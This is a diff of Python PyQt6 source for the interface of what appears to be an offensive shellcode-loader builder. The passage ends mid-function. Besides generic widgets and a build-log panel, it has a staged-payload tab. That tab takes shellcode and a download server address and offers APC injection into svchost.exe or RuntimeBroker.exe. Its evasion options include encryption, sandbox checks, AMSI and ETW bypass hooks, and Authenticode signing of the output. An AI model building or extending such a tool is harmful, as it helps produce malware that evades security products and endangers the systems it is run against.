layout.addWidget(self._clear_btn, alignment=Qt.AlignmentFlag.AlignCenter)
# File path display (hidden until file selected)
self._file_label = QLabel("")
self._file_label.setAlignment(Qt.AlignmentFlag.AlignCenter)
self._file_label.setWordWrap(True)
self._file_label.setStyleSheet(
f"color: {GREEN}; font-size: 12px; font-weight: bold; "
f"background: transparent; border: none;")
self._file_label.setVisible(False)
layout.addWidget(self._file_label)
def text(self) -> str:
"""Return the current file path (API compat with QLineEdit)."""
return self._path
def setText(self, path: str):
"""Set the file path programmatically."""
self._path = path
self._update_display()
self.path_changed.emit(path)
@property
def textChanged(self):
"""Signal compat — returns path_changed so callers can connect."""
return self.path_changed
def setProperty(self, name, value):
super().setProperty(name, value)
if name == "validationError":
self.update()
def _clear_file(self):
"""Remove the currently selected file."""
self._path = ""
self._update_display()
self.path_changed.emit("")
def _update_display(self):
if self._path:
filename = os.path.basename(self._path)
# Elide long paths so they don't break the layout
max_path_chars = 60
display_path = (self._path if len(self._path) <= max_path_chars
else f"{self._path[-(max_path_chars - 1):]}")
self._icon_label.setVisible(False)
self._hint_label.setText(filename)
self._hint_label.setStyleSheet(
f"color: {ACCENT}; font-size: 13px; font-weight: bold; "
f"background: transparent; border: none;")
self._sub_label.setText(display_path)
self._sub_label.setStyleSheet(
f"color: {TEXT_DIM}; font-size: 10px; "
f"background: transparent; border: none;")
self._clear_btn.setVisible(True)
self._file_label.setVisible(False)
else:
self._icon_label.setVisible(True)
self._hint_label.setText(self._hint_text)
self._hint_label.setStyleSheet(
f"color: {TEXT_DIM}; font-size: 13px; "
f"background: transparent; border: none;")
self._sub_label.setText("or click to browse")
self._sub_label.setStyleSheet(
f"color: {ACCENT}; font-size: 11px; "
f"background: transparent; border: none;")
self._clear_btn.setVisible(False)
self._file_label.setVisible(False)
self.update()
# -- Paint the dashed border --
def paintEvent(self, event):
painter = QPainter(self)
painter.setRenderHint(QPainter.RenderHint.Antialiasing)
validation_error = self.property("validationError")
if self._dragging:
border_color = QColor(ACCENT)
bg_color = QColor(ACCENT)
bg_color.setAlpha(18)
elif validation_error:
border_color = QColor(RED)
bg_color = QColor(RED)
bg_color.setAlpha(18)
elif self._path:
border_color = QColor(GREEN)
bg_color = QColor(GREEN)
bg_color.setAlpha(12)
else:
border_color = QColor(BORDER)
bg_color = QColor(BG_SURFACE)
# Background fill
painter.setBrush(bg_color)
painter.setPen(Qt.PenStyle.NoPen)
painter.drawRoundedRect(self.rect().adjusted(1, 1, -1, -1), 2, 2)
# Dashed border — tighter dash pattern for a crisper look
pen = QPen(border_color, 1, Qt.PenStyle.CustomDashLine)
pen.setDashPattern([5, 3])
painter.setPen(pen)
painter.setBrush(Qt.BrushStyle.NoBrush)
painter.drawRoundedRect(self.rect().adjusted(1, 1, -1, -1), 2, 2)
# If dragging: draw a solid 2px outer accent ring on top
if self._dragging:
solid_pen = QPen(QColor(ACCENT), 2, Qt.PenStyle.SolidLine)
painter.setPen(solid_pen)
painter.drawRoundedRect(self.rect().adjusted(1, 1, -1, -1), 2, 2)
painter.end()
# -- Mouse click = browse --
def mousePressEvent(self, event):
if event.button() == Qt.MouseButton.LeftButton:
path, _ = QFileDialog.getOpenFileName(
self, self._browse_title, "",
self._file_filter)
if path:
self.setText(path)
# -- Drag & drop --
def _is_valid_file(self, path: str) -> bool:
if self._filter_exts is None:
return True
return any(path.lower().endswith(e) for e in self._filter_exts)
def dragEnterEvent(self, event):
if event.mimeData().hasUrls():
urls = event.mimeData().urls()
if urls and urls[0].isLocalFile():
if self._is_valid_file(urls[0].toLocalFile()):
self._dragging = True
self.update()
event.acceptProposedAction()
return
event.ignore()
def dragMoveEvent(self, event):
event.acceptProposedAction()
def dragLeaveEvent(self, event):
self._dragging = False
self.update()
def dropEvent(self, event):
self._dragging = False
urls = event.mimeData().urls()
if urls and urls[0].isLocalFile():
path = urls[0].toLocalFile()
if self._is_valid_file(path):
self.setText(path)
event.acceptProposedAction()
return
self.update()
event.ignore()
def file_picker_row(parent: QWidget, label: str = "Browse...",
file_filter: str = "All Files (*)",
save_mode: bool = False) -> tuple:
"""
Create a file picker row: DropLineEdit + Browse button.
Returns (layout, line_edit) so the caller can read the path.
"""
layout = QHBoxLayout()
layout.setContentsMargins(0, 0, 0, 0)
# Extract extensions from file_filter for drag-drop validation
# e.g. "Binary Files (*.bin);;All Files (*)" -> ['.bin']
filter_exts = None
if file_filter and "*." in file_filter:
import re
exts = re.findall(r'\*\.(\w+)', file_filter)
if exts:
filter_exts = [f'.{e.lower()}' for e in exts]
line_edit = DropLineEdit(file_filter_exts=filter_exts, parent=parent)
line_edit.setPlaceholderText(label)
browse_btn = QPushButton("Browse")
browse_btn.setObjectName("browseButton")
browse_btn.setFixedWidth(80)
def on_browse():
if save_mode:
path, _ = QFileDialog.getSaveFileName(parent, label, "", file_filter)
else:
path, _ = QFileDialog.getOpenFileName(parent, label, "", file_filter)
if path:
line_edit.setText(path)
browse_btn.clicked.connect(on_browse)
layout.addWidget(line_edit, stretch=1)
layout.addWidget(browse_btn)
return layout, line_edit
# ── Dialog helpers ──────────────────────────────────────────────────────────────
# Qt does not reliably honour stylesheet min-width on QMessageBox.
# The only reliable fix is to inject a spacer into the grid layout.
_DLG_MIN_W = 500
def _widen(msg):
"""Inject a horizontal spacer to enforce a minimum dialog width."""
spacer = QSpacerItem(_DLG_MIN_W, 0,
QSizePolicy.Policy.Minimum,
QSizePolicy.Policy.Expanding)
layout = msg.layout()
layout.addItem(spacer, layout.rowCount(), 0, 1, layout.columnCount())
def dlg_warn(parent, title: str, text: str):
"""Warning dialog with guaranteed minimum width."""
msg = QMessageBox(parent)
msg.setWindowTitle(title)
msg.setText(text)
msg.setIcon(QMessageBox.Icon.Warning)
_widen(msg)
msg.exec()
def dlg_error(parent, title: str, text: str):
"""Error dialog with guaranteed minimum width."""
msg = QMessageBox(parent)
msg.setWindowTitle(title)
msg.setText(text)
msg.setIcon(QMessageBox.Icon.Critical)
_widen(msg)
msg.exec()
def dlg_info(parent, title: str, text: str):
"""Information dialog with guaranteed minimum width."""
msg = QMessageBox(parent)
msg.setWindowTitle(title)
msg.setText(text)
msg.setIcon(QMessageBox.Icon.Information)
_widen(msg)
msg.exec()
def dlg_ask(parent, title: str, text: str, default_yes: bool = False) -> bool:
"""Yes/No question dialog. Returns True if user clicked Yes."""
msg = QMessageBox(parent)
msg.setWindowTitle(title)
msg.setText(text)
msg.setIcon(QMessageBox.Icon.Question)
msg.setStandardButtons(
QMessageBox.StandardButton.Yes | QMessageBox.StandardButton.No)
msg.setDefaultButton(
QMessageBox.StandardButton.Yes if default_yes
else QMessageBox.StandardButton.No)
_widen(msg)
return msg.exec() == QMessageBox.StandardButton.Yes
def dlg_text(parent, title: str, label: str, default: str = "") -> tuple:
"""Text-input dialog. Returns (text, ok) like QInputDialog.getText."""
dlg = QInputDialog(parent)
dlg.setWindowTitle(title)
dlg.setLabelText(label)
dlg.setTextValue(default)
dlg.setMinimumWidth(420)
ok = dlg.exec() == QInputDialog.DialogCode.Accepted
return dlg.textValue(), ok
+193
View File
@@ -0,0 +1,193 @@
# -*- coding: utf-8 -*-
"""Color-coded build log panel with timestamps and export."""
import os
from datetime import datetime
from PyQt6.QtWidgets import (
QWidget, QVBoxLayout, QTextEdit, QPushButton, QHBoxLayout,
QProgressBar, QFileDialog, QLabel, QFrame
)
from PyQt6.QtGui import QTextCursor, QPixmap, QPainter
from PyQt6.QtCore import Qt, pyqtSignal
from gui.theme import GREEN, RED, YELLOW, BLUE, TEXT, CRUST, NORD3, FROST1, TEXT_MUTED, BORDER_SUB, ACCENT_DIM
# Locate Logo.png: gui/assets/ (installed), then fallback to dev repo layout
_HERE = os.path.dirname(os.path.abspath(__file__))
_LOGO_CANDIDATES = [
os.path.normpath(os.path.join(_HERE, "..", "assets", "Logo.png")), # installed: gui/assets/
os.path.normpath(os.path.join(_HERE, "..", "..", "assets", "Logo.png")), # Linux/assets/
os.path.normpath(os.path.join(_HERE, "..", "..", "..", "assets", "Logo.png")), # repo root (dev)
]
_LOGO_PATH = next((p for p in _LOGO_CANDIDATES if os.path.isfile(p)), _LOGO_CANDIDATES[0])
class _WatermarkTextEdit(QTextEdit):
"""QTextEdit that paints Logo.png as a centred, low-opacity watermark."""
def __init__(self, parent=None):
super().__init__(parent)
self._watermark: QPixmap | None = None
if os.path.isfile(_LOGO_PATH):
pix = QPixmap(_LOGO_PATH)
if not pix.isNull():
# Pre-scale once to a fixed display size
self._watermark = pix.scaled(
180, 180,
Qt.AspectRatioMode.KeepAspectRatio,
Qt.TransformationMode.SmoothTransformation,
)
def paintEvent(self, event):
"""Draw watermark behind the text."""
if self._watermark:
painter = QPainter(self.viewport())
painter.setOpacity(0.07)
vp = self.viewport().rect()
x = (vp.width() - self._watermark.width()) // 2
y = (vp.height() - self._watermark.height()) // 2
painter.drawPixmap(x, y, self._watermark)
painter.end()
super().paintEvent(event)
# Level -> color mapping
LEVEL_COLORS = {
"info": BLUE,
"success": GREEN,
"warning": YELLOW,
"error": RED,
}
class LogPanel(QWidget):
"""Read-only, monospace log panel with color-coded, timestamped output."""
open_folder_requested = pyqtSignal(str) # emits folder path
def __init__(self, parent=None):
super().__init__(parent)
self._raw_lines = [] # plain text for export
layout = QVBoxLayout(self)
layout.setContentsMargins(0, 0, 0, 0)
layout.setSpacing(0)
# Section header
panel_header = QWidget()
panel_header.setStyleSheet(
f"background-color: transparent;"
f"border-bottom: 1px solid {BORDER_SUB};"
)
ph_layout = QHBoxLayout(panel_header)
ph_layout.setContentsMargins(10, 4, 10, 4)
ph_label = QLabel("BUILD OUTPUT")
ph_label.setObjectName("sectionLabel")
ph_layout.addWidget(ph_label)
ph_layout.addStretch()
layout.addWidget(panel_header)
# Progress bar (indeterminate, hidden by default)
self._progress = QProgressBar()
self._progress.setRange(0, 0) # indeterminate
self._progress.setFixedHeight(6)
self._progress.setTextVisible(False)
self._progress.hide()
layout.addWidget(self._progress)
# Toolbar
toolbar = QHBoxLayout()
toolbar.setContentsMargins(4, 4, 4, 2)
self._open_folder_btn = QPushButton("Open Output Folder")
self._open_folder_btn.setFixedWidth(160)
self._open_folder_btn.hide()
self._open_folder_btn.clicked.connect(self._on_open_folder)
toolbar.addWidget(self._open_folder_btn)
toolbar.addStretch()
save_btn = QPushButton("Save Log")
save_btn.setFixedWidth(90)
save_btn.clicked.connect(self._save_log)
toolbar.addWidget(save_btn)
clear_btn = QPushButton("Clear Log")
clear_btn.setFixedWidth(90)
clear_btn.clicked.connect(self.clear)
toolbar.addWidget(clear_btn)
layout.addLayout(toolbar)
# Text area
self._text = _WatermarkTextEdit()
self._text.setReadOnly(True)
self._text.setStyleSheet(f"""
QTextEdit {{
background-color: {CRUST};
color: {TEXT};
font-family: "Cascadia Code", "Fira Code", "Consolas", monospace;
font-size: 12px;
border: none;
padding: 8px;
}}
""")
layout.addWidget(self._text)
self._output_folder = ""
def append_log(self, message: str, level: str = "info"):
"""Append a color-coded, timestamped log line and auto-scroll."""
color = LEVEL_COLORS.get(level, TEXT)
ts = datetime.now().strftime("%H:%M:%S")
ts_html = f'<span style="color:{NORD3};">[{ts}]</span>'
msg_html = f'<span style="color:{color};">&nbsp;{self._escape(message)}</span>'
self._text.append(f'{ts_html}{msg_html}')
self._text.moveCursor(QTextCursor.MoveOperation.End)
self._raw_lines.append(f"[{ts}] {message}")
def clear(self):
self._text.clear()
self._raw_lines.clear()
self._open_folder_btn.hide()
self._output_folder = ""
def set_building(self, building: bool):
"""Show/hide the indeterminate progress bar."""
self._progress.setVisible(building)
def show_open_folder(self, folder: str):
"""Show the 'Open Output Folder' button after a successful build."""
self._output_folder = folder
self._open_folder_btn.show()
def _on_open_folder(self):
if self._output_folder and os.path.isdir(self._output_folder):
import subprocess
import sys
if sys.platform == "linux":
subprocess.Popen(["xdg-open", self._output_folder])
elif sys.platform == "darwin":
subprocess.Popen(["open", self._output_folder])
else:
os.startfile(self._output_folder)
def _save_log(self):
if not self._raw_lines:
return
path, _ = QFileDialog.getSaveFileName(
self, "Save Build Log", "build_log.txt", "Text Files (*.txt);;All Files (*)")
if path:
with open(path, "w") as f:
f.write("\n".join(self._raw_lines))
@staticmethod
def _escape(text: str) -> str:
return (text
.replace("&", "&amp;")
.replace("<", "&lt;")
.replace(">", "&gt;")
.replace(" ", "&nbsp;")
.replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;"))
+694
View File
@@ -0,0 +1,694 @@
# -*- coding: utf-8 -*-
"""Staged payload configuration tab."""
import os
import json
from PyQt6.QtWidgets import (
QWidget, QVBoxLayout, QHBoxLayout, QFormLayout, QLabel,
QLineEdit, QComboBox, QCheckBox, QPushButton, QSpinBox,
QScrollArea, QFrame, QListWidget, QStackedWidget,
QListWidgetItem, QFileDialog
)
from PyQt6.QtCore import pyqtSignal, Qt
from PyQt6.QtGui import QKeySequence, QShortcut
from core.build_config import BuildConfig
from gui.theme import TEXT_DIM
from gui.widgets.common import file_picker_row, DropZone, dlg_ask, dlg_warn, dlg_error, dlg_info, dlg_text
from gui.history import HistoryManager
# Required field marker
REQ = " *"
class StagedTab(QWidget):
"""Form for staged payload configuration."""
build_requested = pyqtSignal(object) # emits BuildConfig
profile_imported = pyqtSignal() # emitted after a .ctfp import
def __init__(self, history_manager: HistoryManager, parent=None):
super().__init__(parent)
self._history = history_manager
self._setup_ui()
self._setup_tooltips()
self._setup_shortcuts()
self._connect_adaptive()
self._refresh_profiles()
# ── Page indices ──────────────────────────────────────────────────────
PAGE_PAYLOAD = 0
PAGE_FORMAT = 1
PAGE_NETWORK = 2
PAGE_EVASION = 3
PAGE_SIGNING = 4
PAGE_OUTPUT = 5
def _setup_ui(self):
outer = QVBoxLayout(self)
outer.setContentsMargins(0, 0, 0, 0)
outer.setSpacing(0)
# ── Top bar: Profiles ──────────────────────────────────────────────
bar = QWidget()
bar.setObjectName("profilesBar")
bl = QHBoxLayout(bar)
bl.setContentsMargins(12, 7, 12, 7)
self._profile_combo = QComboBox()
self._profile_combo.setMinimumWidth(180)
self._profile_combo.currentTextChanged.connect(self._load_profile)
self._save_btn = QPushButton("Save")
self._save_btn.clicked.connect(self._save_profile)
delete_btn = QPushButton("Delete")
delete_btn.setObjectName("deleteButton")
delete_btn.clicked.connect(self._delete_profile)
export_btn = QPushButton("Export ↑")
export_btn.setToolTip("Export selected profile to a .ctfp file")
export_btn.clicked.connect(self._export_profile)
import_btn = QPushButton("Import ↓")
import_btn.setToolTip("Import a .ctfp profile file")
import_btn.clicked.connect(self._import_profile)
bl.addWidget(QLabel("Profile:"))
bl.addWidget(self._profile_combo, stretch=1)
bl.addWidget(self._save_btn)
bl.addWidget(delete_btn)
bl.addWidget(export_btn)
bl.addWidget(import_btn)
outer.addWidget(bar)
# ── Body: sidebar + pages ──────────────────────────────────────────
body = QWidget()
body_layout = QHBoxLayout(body)
body_layout.setContentsMargins(0, 0, 0, 0)
body_layout.setSpacing(0)
self._nav = QListWidget()
self._nav.setObjectName("sideNav")
self._nav.setFixedWidth(148)
self._nav.setHorizontalScrollBarPolicy(Qt.ScrollBarPolicy.ScrollBarAlwaysOff)
self._nav.setVerticalScrollBarPolicy(Qt.ScrollBarPolicy.ScrollBarAlwaysOff)
for name in ("Payload", "Format", "Network", "Evasion", "Code Signing", "Output"):
self._nav.addItem(name)
vdiv = QFrame()
vdiv.setFrameShape(QFrame.Shape.VLine)
vdiv.setFrameShadow(QFrame.Shadow.Plain)
self._stack = QStackedWidget()
self._stack.addWidget(self._page_payload())
self._stack.addWidget(self._page_format())
self._stack.addWidget(self._page_network())
self._stack.addWidget(self._page_evasion())
self._stack.addWidget(self._page_signing())
self._stack.addWidget(self._page_output())
self._nav.currentRowChanged.connect(self._stack.setCurrentIndex)
self._nav.setCurrentRow(0)
body_layout.addWidget(self._nav)
body_layout.addWidget(vdiv)
body_layout.addWidget(self._stack, stretch=1)
outer.addWidget(body, stretch=1)
# ── Bottom bar: BUILD + Reset ──────────────────────────────────────
sep_bot = QFrame()
sep_bot.setFrameShape(QFrame.Shape.HLine)
sep_bot.setFrameShadow(QFrame.Shadow.Plain)
outer.addWidget(sep_bot)
footer = QWidget()
footer.setObjectName("buildFooter")
fl = QHBoxLayout(footer)
fl.setContentsMargins(12, 8, 12, 8)
self._build_btn = QPushButton("BUILD")
self._build_btn.setObjectName("buildButton")
self._build_btn.clicked.connect(self._on_build)
self._reset_btn = QPushButton("Reset")
self._reset_btn.setToolTip("Reset all fields to defaults")
self._reset_btn.setFixedWidth(80)
self._reset_btn.clicked.connect(self._reset_defaults)
fl.addWidget(self._build_btn, stretch=1)
fl.addWidget(self._reset_btn)
outer.addWidget(footer)
# ── Page helpers ───────────────────────────────────────────────────────
def _make_page(self):
"""Scroll-wrapped page container. Returns (scroll_widget, layout)."""
inner = QWidget()
layout = QVBoxLayout(inner)
layout.setContentsMargins(28, 22, 28, 22)
layout.setSpacing(16)
scroll = QScrollArea()
scroll.setWidgetResizable(True)
scroll.setFrameShape(QFrame.Shape.NoFrame)
scroll.setWidget(inner)
return scroll, layout
def _page_header(self, title: str, subtitle: str = "") -> QWidget:
"""Consistent page title + thin rule."""
w = QWidget()
vl = QVBoxLayout(w)
vl.setContentsMargins(0, 0, 0, 6)
vl.setSpacing(3)
t = QLabel(title)
t.setStyleSheet("font-size: 15px; font-weight: 700; color: #c9d1d9; background: transparent;")
vl.addWidget(t)
if subtitle:
s = QLabel(subtitle)
s.setStyleSheet(f"font-size: 11px; color: {TEXT_DIM}; background: transparent;")
vl.addWidget(s)
line = QFrame()
line.setFrameShape(QFrame.Shape.HLine)
line.setFrameShadow(QFrame.Shadow.Plain)
vl.addWidget(line)
return w
# ── Pages ──────────────────────────────────────────────────────────────
def _page_payload(self):
page, layout = self._make_page()
layout.addWidget(self._page_header("Payload", "Raw shellcode binary to embed in the loader"))
self._payload_edit = DropZone(
file_filter="Binary Files (*.bin);;All Files (*)",
filter_exts=['.bin'],
hint_text="Drag & drop shellcode (.bin) here",
browse_title="Select Shellcode Binary",
parent=self)
self._payload_edit.path_changed.connect(
lambda: self._clear_validation(self._payload_edit))
layout.addWidget(self._payload_edit)
layout.addStretch()
return page
def _page_format(self):
page, layout = self._make_page()
layout.addWidget(self._page_header("Output Format", "Loader type and injection technique"))
form = QFormLayout()
form.setLabelAlignment(Qt.AlignmentFlag.AlignRight | Qt.AlignmentFlag.AlignVCenter)
form.setHorizontalSpacing(12)
form.setVerticalSpacing(10)
form.setFieldGrowthPolicy(QFormLayout.FieldGrowthPolicy.FieldsStayAtSizeHint)
self._format_combo = QComboBox()
self._format_combo.addItems(["EXE", "DLL"])
self._format_combo.setMinimumWidth(140)
form.addRow("Format:", self._format_combo)
self._inject_combo = QComboBox()
self._inject_combo.addItems(["apc", "copyfile2"])
self._inject_combo.setMinimumWidth(140)
form.addRow("Injection:", self._inject_combo)
self._target_label = QLabel("Target process:")
self._target_combo = QComboBox()
self._target_combo.addItems(["RuntimeBroker.exe", "svchost.exe"])
self._target_combo.setMinimumWidth(140)
form.addRow(self._target_label, self._target_combo)
layout.addLayout(form)
layout.addStretch()
return page
def _page_network(self):
page, layout = self._make_page()
layout.addWidget(self._page_header("Network", "Staged payload download parameters"))
form = QFormLayout()
form.setLabelAlignment(Qt.AlignmentFlag.AlignRight | Qt.AlignmentFlag.AlignVCenter)
form.setHorizontalSpacing(12)
form.setVerticalSpacing(10)
form.setFieldGrowthPolicy(QFormLayout.FieldGrowthPolicy.ExpandingFieldsGrow)
self._ip_edit = QLineEdit()
self._ip_edit.setPlaceholderText("192.168.1.150")
self._ip_edit.textChanged.connect(lambda: self._clear_validation(self._ip_edit))
form.addRow("IP" + REQ + ":", self._ip_edit)
self._port_spin = QSpinBox()
self._port_spin.setRange(1, 65535)
self._port_spin.setValue(8080)
form.addRow("Port:", self._port_spin)
path_row = QHBoxLayout()
path_row.setSpacing(10)
self._path_edit = QLineEdit()
self._path_edit.setPlaceholderText("/shellcode.bin")
self._path_edit.setMaximumWidth(220)
self._path_edit.textChanged.connect(lambda: self._clear_validation(self._path_edit))
self._https_check = QCheckBox("HTTPS")
path_row.addWidget(self._path_edit)
path_row.addWidget(self._https_check)
path_row.addStretch()
form.addRow("Path" + REQ + ":", path_row)
self._ua_edit = QLineEdit()
self._ua_edit.setText(BuildConfig.user_agent)
form.addRow("User-Agent:", self._ua_edit)
layout.addLayout(form)
layout.addStretch()
return page
def _page_evasion(self):
page, layout = self._make_page()
layout.addWidget(self._page_header("Evasion", "Loader-level detection avoidance techniques"))
self._encrypt_check = QCheckBox("Encrypt shellcode (AES-128-CBC)")
self._scramble_check = QCheckBox("Scramble functions and variables")
self._entropy_check = QCheckBox("Entropy reduction (embed English text)")
self._sandbox_check = QCheckBox("Sandbox checks")
for check in (self._encrypt_check, self._scramble_check,
self._entropy_check, self._sandbox_check):
layout.addWidget(check)
self._sb_thresh_row = QWidget()
thresh_layout = QHBoxLayout(self._sb_thresh_row)
thresh_layout.setContentsMargins(22, 0, 0, 0)
thresh_layout.setSpacing(5)
self._sb_uptime_lbl = QLabel("uptime")
self._sb_uptime_spin = QSpinBox()
self._sb_uptime_spin.setRange(0, 86400)
self._sb_uptime_spin.setSingleStep(60)
self._sb_uptime_spin.setValue(300)
self._sb_uptime_spin.setSuffix(" s")
self._sb_uptime_spin.setFixedWidth(72)
self._sb_uptime_spin.setToolTip("Min uptime (s) — sandboxes reboot per sample")
self._sb_ram_lbl = QLabel("RAM")
self._sb_ram_spin = QSpinBox()
self._sb_ram_spin.setRange(1, 512)
self._sb_ram_spin.setValue(4)
self._sb_ram_spin.setSuffix(" GB")
self._sb_ram_spin.setFixedWidth(76)
self._sb_ram_spin.setToolTip("Min RAM (GB) — VMs are usually memory-constrained")
self._sb_cpu_lbl = QLabel("CPUs")
self._sb_cpu_spin = QSpinBox()
self._sb_cpu_spin.setRange(1, 256)
self._sb_cpu_spin.setValue(2)
self._sb_cpu_spin.setSuffix(" CPU")
self._sb_cpu_spin.setFixedWidth(76)
self._sb_cpu_spin.setToolTip("Min CPU count — hypervisors often expose 1 vCPU")
for lbl, spin in (
(self._sb_uptime_lbl, self._sb_uptime_spin),
(self._sb_ram_lbl, self._sb_ram_spin),
(self._sb_cpu_lbl, self._sb_cpu_spin),
):
thresh_layout.addWidget(lbl)
thresh_layout.addWidget(spin)
thresh_layout.addSpacing(12)
thresh_layout.addStretch()
self._sb_thresh_row.setVisible(False)
self._sandbox_check.toggled.connect(self._sb_thresh_row.setVisible)
layout.addWidget(self._sb_thresh_row)
# ── Trampoline hooks (TrampoLatté) ───────────────────────────────
sep = QFrame()
sep.setFrameShape(QFrame.Shape.HLine)
sep.setFrameShadow(QFrame.Shadow.Plain)
layout.addSpacing(6)
layout.addWidget(sep)
hooks_lbl = QLabel("AMSI & ETW (TrampoLatté)")
hooks_lbl.setStyleSheet(
f"color: {TEXT_DIM}; font-size: 10px; font-weight: 600; "
"letter-spacing: 0.6px; text-transform: uppercase; "
"background: transparent; border: none;")
layout.addWidget(hooks_lbl)
self._amsi_check = QCheckBox("AMSI bypass")
self._amsi_check.setToolTip(
"Trampolines AmsiScanBuffer → always AMSI_RESULT_CLEAN.\n"
"Bypasses .NET / PowerShell AMSI scanning.")
self._etw_check = QCheckBox("ETW bypass")
self._etw_check.setToolTip(
"Trampolines EtwpEventWriteFull → immediate RET.\n"
"Silences ETW telemetry from the CLR / runtime.")
self._debug_check = QCheckBox("Debug mode (OutputDebugString)")
self._debug_check.setToolTip(
"Enables [TrampoLatte] debug prints via OutputDebugStringA.\n"
"Visible in x64dbg / WinDbg / DebugView. Disable for production.")
layout.addWidget(self._amsi_check)
layout.addWidget(self._etw_check)
layout.addWidget(self._debug_check)
layout.addStretch()
return page
def _page_signing(self):
page, layout = self._make_page()
layout.addWidget(self._page_header("Code Signing", "Sign the loader with an Authenticode certificate"))
self._pfx_edit = DropZone(
hint_text="Drag & drop certificate (.pfx) here",
browse_title="Select PFX certificate",
file_filter="PFX Files (*.pfx);;All Files (*)",
filter_exts=[".pfx"],
parent=self)
layout.addWidget(self._pfx_edit)
form_sign = QFormLayout()
form_sign.setLabelAlignment(Qt.AlignmentFlag.AlignRight | Qt.AlignmentFlag.AlignVCenter)
form_sign.setHorizontalSpacing(12)
form_sign.setVerticalSpacing(10)
form_sign.setFieldGrowthPolicy(QFormLayout.FieldGrowthPolicy.ExpandingFieldsGrow)
self._pfx_pass_edit = QLineEdit()
self._pfx_pass_edit.setEchoMode(QLineEdit.EchoMode.Password)
form_sign.addRow("PFX Password:", self._pfx_pass_edit)
layout.addLayout(form_sign)
sep = QFrame()
sep.setFrameShape(QFrame.Shape.HLine)
sep.setFrameShadow(QFrame.Shadow.Plain)
layout.addSpacing(4)
layout.addWidget(sep)
meta_label = QLabel("Signature Metadata")
meta_label.setStyleSheet(
f"color: {TEXT_DIM}; font-size: 10px; font-weight: 600; "
"letter-spacing: 0.6px; text-transform: uppercase; background: transparent; border: none;")
layout.addWidget(meta_label)
form_meta = QFormLayout()
form_meta.setLabelAlignment(Qt.AlignmentFlag.AlignRight | Qt.AlignmentFlag.AlignVCenter)
form_meta.setHorizontalSpacing(12)
form_meta.setVerticalSpacing(10)
form_meta.setFieldGrowthPolicy(QFormLayout.FieldGrowthPolicy.ExpandingFieldsGrow)
self._sign_desc_edit = QLineEdit()
self._sign_desc_edit.setPlaceholderText("Authenticode program name (blank = default)")
self._sign_desc_edit.setToolTip("Sets -n in osslsigncode. Appears in Windows signature details.")
form_meta.addRow("Publisher Name:", self._sign_desc_edit)
self._sign_url_edit = QLineEdit()
self._sign_url_edit.setPlaceholderText("Authenticode program URL (blank = default)")
self._sign_url_edit.setToolTip("Sets -i in osslsigncode. Appears in Windows signature details.")
form_meta.addRow("Publisher URL:", self._sign_url_edit)
layout.addLayout(form_meta)
layout.addStretch()
return page
def _page_output(self):
page, layout = self._make_page()
layout.addWidget(self._page_header("Output", "Output file path and base name"))
out_row, self._output_edit = file_picker_row(
self, "Output base name (e.g. ctfloader)", "All Files (*)", save_mode=True)
layout.addLayout(out_row)
layout.addStretch()
return page
def _setup_tooltips(self):
self._payload_edit.setToolTip("Path to raw shellcode .bin file (drag & drop supported)")
self._format_combo.setToolTip("EXE: standalone executable | DLL: dynamic library for injection")
self._inject_combo.setToolTip(
"APC: Queue APC to suspended process (stealthier)\n"
"CopyFile2: Execute via CopyFile2 progress callback (no target process needed)")
self._target_combo.setToolTip("Process to inject into via APC (only used with APC injection)")
self._ip_edit.setToolTip("IP/hostname of shellcode download server")
self._port_spin.setToolTip("Port of shellcode download server")
self._path_edit.setToolTip("URL path to shellcode file (e.g. /shellcode.bin)")
self._https_check.setToolTip("Use HTTPS instead of HTTP for the download")
self._ua_edit.setToolTip("User-Agent header for HTTP/HTTPS download request")
self._encrypt_check.setToolTip("Encrypt shellcode with AES-128-CBC (key/IV embedded in loader)")
self._scramble_check.setToolTip("Randomize function/variable names and optimization level for polymorphism")
self._entropy_check.setToolTip("Embed English text in loader to reduce entropy")
self._sandbox_check.setToolTip("Check uptime, RAM, and CPU count before executing — exits cleanly if a sandbox is detected")
self._pfx_edit.setToolTip("PFX certificate file for code signing (EXE only, drag & drop supported)")
self._pfx_pass_edit.setToolTip("Password for the PFX certificate file")
self._output_edit.setToolTip("Base name for output files (e.g. 'loader' produces loader.exe/.dll)")
self._build_btn.setToolTip("Start the build (Ctrl+B)")
self._save_btn.setToolTip("Save current settings as a profile (Ctrl+S)")
def _setup_shortcuts(self):
QShortcut(QKeySequence("Ctrl+B"), self, self._on_build)
QShortcut(QKeySequence("Ctrl+S"), self, self._save_profile)
def _connect_adaptive(self):
self._inject_combo.currentTextChanged.connect(self._on_inject_changed)
self._format_combo.currentTextChanged.connect(self._on_format_changed)
self._on_inject_changed(self._inject_combo.currentText())
self._on_format_changed(self._format_combo.currentText())
def _on_inject_changed(self, method: str):
is_apc = method == "apc"
self._target_label.setVisible(is_apc)
self._target_combo.setVisible(is_apc)
def _on_format_changed(self, fmt: str):
is_exe = fmt == "EXE"
item = self._nav.item(self.PAGE_SIGNING)
if is_exe:
item.setFlags(item.flags() | Qt.ItemFlag.ItemIsEnabled | Qt.ItemFlag.ItemIsSelectable)
else:
item.setFlags(item.flags() & ~(Qt.ItemFlag.ItemIsEnabled | Qt.ItemFlag.ItemIsSelectable))
if self._nav.currentRow() == self.PAGE_SIGNING:
self._nav.setCurrentRow(self.PAGE_OUTPUT)
def set_build_enabled(self, enabled: bool):
self._build_btn.setEnabled(enabled)
if enabled:
self._build_btn.setText("BUILD")
else:
self._build_btn.setText("BUILDING...")
def _validate(self) -> bool:
errors = []
payload = self._payload_edit.text().strip()
if not payload:
self._set_validation_error(self._payload_edit)
errors.append("Payload file")
elif not os.path.isfile(payload):
self._set_validation_error(self._payload_edit)
errors.append(f"Payload file not found: {payload}")
if not self._ip_edit.text().strip():
self._set_validation_error(self._ip_edit)
errors.append("IP address")
if not self._path_edit.text().strip():
self._set_validation_error(self._path_edit)
errors.append("Download path")
if errors:
dlg_warn(self, "Missing Required Fields",
f"Please fill in: {', '.join(errors)}")
return False
return True
@staticmethod
def _set_validation_error(widget):
widget.setProperty("validationError", True)
widget.style().unpolish(widget)
widget.style().polish(widget)
@staticmethod
def _clear_validation(widget):
if widget.property("validationError"):
widget.setProperty("validationError", False)
widget.style().unpolish(widget)
widget.style().polish(widget)
def _on_build(self):
if not self._build_btn.isEnabled():
return
if not self._validate():
return
config = BuildConfig(
mode="staged",
payload_path=self._payload_edit.text(),
format=self._format_combo.currentText(),
inject_method=self._inject_combo.currentText(),
target_process=self._target_combo.currentText(),
ip_address=self._ip_edit.text(),
port=self._port_spin.value(),
path=self._path_edit.text(),
